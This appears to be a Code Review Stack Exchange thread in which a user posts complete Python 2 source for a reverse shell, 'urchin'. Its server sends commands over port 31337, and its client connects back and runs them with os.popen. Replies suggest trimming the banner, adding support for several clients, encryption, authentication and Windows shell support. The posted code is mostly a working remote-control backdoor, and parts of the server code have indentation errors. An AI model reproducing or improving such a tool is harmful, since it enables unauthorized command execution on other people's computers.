2
\$\begingroup\$

I've recently made a reverse-shell which allows you remote shell access to other computers.

It's written in Python 2 and it is cross-platform. Basically, it get's user input for a command and sends it to the client with sockets. The client then runs it with os.system.

Here's the code for the server (urchin.py):

#!/usr/bin/python
import socket, os, sys, platform

if 'Windows' in platform.system():
    os.system('cls')
    print "  |     |  | ,--` ,--` |  | --- ,--`"
    print "\ * /   |  | |  | |    |  |  |  |  |"
    print "-*+*-   |  | |--, |    |--|  |  |  |"
    print "/ * \   |  | | \  |    |  |  |  |  |"
    print "  |     `__, |  \ `__, |  | --- |  |"
    print ""
    print "Developer : Keegan Kuhn (keeganjk)"
    print "Version   : v1.1.1 (Pluteus)"
else:
    os.system("clear")  
    print "  |     |  | ,--` ,--` |  | --- ,--`"
    print "\ * /   |  | |  | |    |  |  |  |  |"
    print "-*+*-   |  | |--, |    |--|  |  |  |"
    print "/ * \   |  | | \  |    |  |  |  |  |"
    print "  |     `__, |  \ `__, |  | --- |  |"
    print ""
    print "Developer : Keegan Kuhn (\033[1;31mkeeganjk\033[0;0m)"
    print "Version   : v1.1.1 (\033[0;32mPluteus\033[0;0m)"

port = 31337
s = socket.socket()
s.bind(('', port))
print ""
print "[*] Waiting for connection ..."
s.listen(1)
while True:
    c, addr = s.accept()
    print "[+] Accepted connection from", addr, "!"
        print ""
    while True:
        cmd = raw_input("$ ")
        if cmd == "python":
            while cmd != "exit()":
                cmd = raw_input(">>> ")
                if cmd == "exit":
                    print "Use exit() to exit"
                cmd = "python -c '" + cmd + "'"
                c.send(cmd)
                print c.recv(1024)

        elif cmd == "bash":
            while True:
                cmd = raw_input("bash$ ")
                cmd = "bash -c '" + cmd + "'"
                c.send(cmd)
                print c.recv(1024)

        elif cmd == "quit" or cmd == "exit":
            c.send('quit')
            s.close()
                sys.exit(1)
        else:
                c.send(cmd)
            print c.recv(1024)

And here's the code for client.py:

#!/usr/bin/python
import socket, os, sys
s = socket.socket()
host = '127.0.0.1'
port = 31337
s.connect((host, port))
while True:
    cmd = s.recv(1024)
    if cmd[:2] == "cd":
        os.chdir(str(cmd[3:]))
        o = " "
        s.send(o)
    elif cmd == "quit":
        s.close()
        sys.exit(1)
    else:
        o = os.popen(cmd).read()
        s.send(o)

Any suggestions? How can I make this work better?

\$\endgroup\$
  • 4
    \$\begingroup\$ You could remove the banner, it would save 25 lines of code. \$\endgroup\$ – eckes Jul 20 '17 at 0:28
  • \$\begingroup\$ This code is blocking, multiple clients will not be able to access the same server at the same time. \$\endgroup\$ – Joshua Klein Jul 20 '17 at 16:41
1
\$\begingroup\$

Any suggestions?

The block of flavor text within that if/else...

    print "  |     |  | ,--` ,--` |  | --- ,--`"
    print "\ * /   |  | |  | |    |  |  |  |  |"
    print "-*+*-   |  | |--, |    |--|  |  |  |"
    print "/ * \   |  | | \  |    |  |  |  |  |"
    print "  |     `__, |  \ `__, |  | --- |  |"
    print ""
    print "Developer : Keegan Kuhn (keeganjk)"
    print "Version   : v1.1.1 (Pluteus)"

... might be easier to extend upon via Python formating...

__about__ = """
  |     |  | ,--` ,--` |  | --- ,--`
\ * /   |  | |  | |    |  |  |  |  |
-*+*-   |  | |--, |    |--|  |  |  |
/ * \   |  | | \  |    |  |  |  |  |
  |     `__, |  \ `__, |  | --- |  |

Developer: {author_name} ({author_nic})
Version:   v{version_num} ({version_nic})
"""

# ... other setup stuff maybe

if 'Windows' in platform.system():
    os.system('cls')
    print(__about__.format(author_name = 'Keegan Kuhn',
                           author_nic = 'keeganjk',
                           version_num = '1.1.1',
                           version_nic = 'Plauteus'))
else:
    os.system("clear")
    print(__about__.format(
        author_name = 'Keegan Kuhn',
        author_nic = '\033[1;31mkeeganjk\033[0;0m',
        version_num = '1.1.1',
        version_nic = '\033[0;32mPlauteus\033[0;0m'))

How can I make this work better?

@Joshua Klein already pointed out that the code be blocking ya from the joys of multi-client access. Though I'd suggest considering some form of encryption and authentication of each connection and their messages first.

If you're really going after multi-OS support I'd advise having a handy way of spawning shells on each, Windows (last I checked) does not have Bash pre-installed.

After that it might be fancy to add argpars to the client and server scripts as well as some form of configuration file parsing.


Looking closer, one wonders what happens when you assign a variable and later try to access it?

\$\endgroup\$

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.